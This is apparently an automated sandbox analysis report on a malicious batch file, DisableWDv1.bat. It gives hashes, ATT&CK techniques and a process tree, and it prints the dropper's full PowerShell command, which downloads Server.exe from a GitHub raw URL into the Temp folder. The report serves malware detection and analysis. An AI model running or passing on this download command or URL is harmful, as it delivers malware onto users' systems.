b40994ebf386e60512bb433bd2d59505dbe20c985a04772eb6c4bf65d2511e3a

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-01-2025 21:57

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General

Target

DisableWDv1.bat
Size

872B
MD5

7e36cba08cf2f7556651430989871ed3
SHA1

77cdb81c4081e6f3e3dd295738e6b0f128e414d9
SHA256

b40994ebf386e60512bb433bd2d59505dbe20c985a04772eb6c4bf65d2511e3a
SHA512

4cb8cae10769147c6e957d6c185520fd2663a87e55c1f332219cde1b877f915b29b278700d31d676276eb2d34f11aa1b1a34d5fb37cf47c8511bc00058deb924

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/pebiko70/test/main/Server.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	316	powershell.exe
6	316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
316	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	316	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 2516	2976	cmd.exe	31
PID 2976 wrote to memory of 2516	2976	cmd.exe	31
PID 2976 wrote to memory of 2516	2976	cmd.exe	31
PID 2516 wrote to memory of 1728	2516	net.exe	32
PID 2516 wrote to memory of 1728	2516	net.exe	32
PID 2516 wrote to memory of 1728	2516	net.exe	32
PID 2976 wrote to memory of 316	2976	cmd.exe	33
PID 2976 wrote to memory of 316	2976	cmd.exe	33
PID 2976 wrote to memory of 316	2976	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DisableWDv1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/pebiko70/test/main/Server.exe', 'C:\Users\Admin\AppData\Local\Temp\Server.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/316-4-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

Filesize
4KB

Download
memory/316-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/316-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/316-7-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/316-8-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/316-9-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/316-10-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download